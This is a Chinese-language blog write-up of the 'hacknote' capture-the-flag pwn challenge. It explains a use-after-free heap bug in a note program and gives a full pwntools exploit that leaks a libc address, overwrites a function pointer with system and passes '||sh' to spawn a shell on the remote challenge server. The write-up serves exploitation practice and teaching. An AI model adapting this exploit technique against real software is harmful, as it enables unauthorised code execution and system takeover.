攻防世界-PWN进阶区-hacknote(pwnable.tw)

攻防世界中这道题是pwnable.tw上面的原题,虽然在攻防世界上难度为7星,不过实际上这题不算难,只需要利用UAF就可以完成。

题目分析


题目链接:https://pan.baidu.com/s/1T-mIVLkxvyZ_7VvlBuInZQ
提取码:azyd


checksec:
在这里插入图片描述
保护机制比前几题弱了很多

main:
在这里插入图片描述
hacknote实现了三个功能:
1.添加(上限为5)
在这里插入图片描述
在新建note时,程序会先申请一个8bytes大小的空间,然后把打印的函数指针放入前4个bytes,后四个bytes放note的内容的指针。
2.删除(删除之后没有将指针置空,明显的UAF漏洞)
在这里插入图片描述
3.显示
在这里插入图片描述
打印内容的函数:
在这里插入图片描述
因为本题使用了函数指针,这使得题目难度降低许多。我们只需要控制函数指针,就能得到shell

漏洞利用

  1. 创建两个大小为0x80的note,此时堆结构如下:

在这里插入图片描述
在这里插入图片描述
然后将它们delete,这样两个note的块就进入了fastbin
此时fastbin为note[0]<-note[1]

  1. 创建一个大小为0x8的note,为note[2], note[2]与note[1]指向相同的位置,并且note[2]的内容指向note[0]相同的位置,构造payload=p32(my_puts) + p32(read_got),就能获得read的地址从而计算system的地址
    在这里插入图片描述
  2. 把note[2]删除,创建note[3],note[3]也与note[1]指向相同的位置,并且note[3]的内容也指向note[0]相同的位置,构造payload = p32(system) + ‘||sh’
    在这里插入图片描述
    这里说一下为什么用 “||sh”:

在show函数中,参数传入的是该note即note[3]的地址,而把该地址中的内容当做字符串就是
p32(system)||sh
当system执行 p32(system)||sh ,因为无法解析p32(system),就会转而执行sh,这样我们就拿到了shell

Exp

注意:pwnable.tw使用题目给的libc可以成功,但是攻防世界和pwnable.tw用的libc不一样,所以需要用LibcSearcher来判断libc,应该是ubuntu-xenial-amd64-libc6-i386 (id libc6-i386_2.23-0ubuntu10_amd64)

from pwn import *
from LibcSearcher import *

def add(size, content):
	print r.recvuntil("Your choice :")
	r.sendline('1')
	print r.recvuntil("Note size :")
	r.sendline(str(size))
	print r.recvuntil("Content :")
	r.send(content)

def delete(index):
	print r.recvuntil("Your choice :")
	r.sendline('2')
	print r.recvuntil("Index :")
	r.sendline(str(index))

def show(index):
	print r.recvuntil("Your choice :")
	r.sendline('3')
	print r.recvuntil("Index :")
	r.sendline(str(index))

r = remote("111.198.29.45", 43097)
#r = remote("chall.pwnable.tw", 10102)
#r = process('./hacknote/hacknote')
elf = ELF('./hacknote/hacknote')
libc = ELF('./hacknote/libc_32.so.6')
my_puts = 0x0804862b
read_got = elf.got['read']

add(0x80, 'a\n')
add(0x80, 'b\n')
delete(0)
delete(1)
payload = p32(my_puts) + p32(read_got)
add(8, payload)
show(0)
read_addr = u32(r.recv(4))

'''
libc_base = read_addr - libc.symbols['read']
system = libc_base + libc.symbols['system']
'''

libc = LibcSearcher("read", read_addr)
libc_base = read_addr - libc.dump("read")
system = libc_base + libc.dump("system")


print "read:", hex(read_addr)
print "system:", hex(system)

delete(2)
payload = p32(system) + '||sh'
add(0x8, payload)
show(0)

r.interactive()

成功得到shell
在这里插入图片描述

发布了28 篇原创文章 · 获赞 4 · 访问量 2551

猜你喜欢

转载自blog.csdn.net/weixin_44145820/article/details/104657318
今日推荐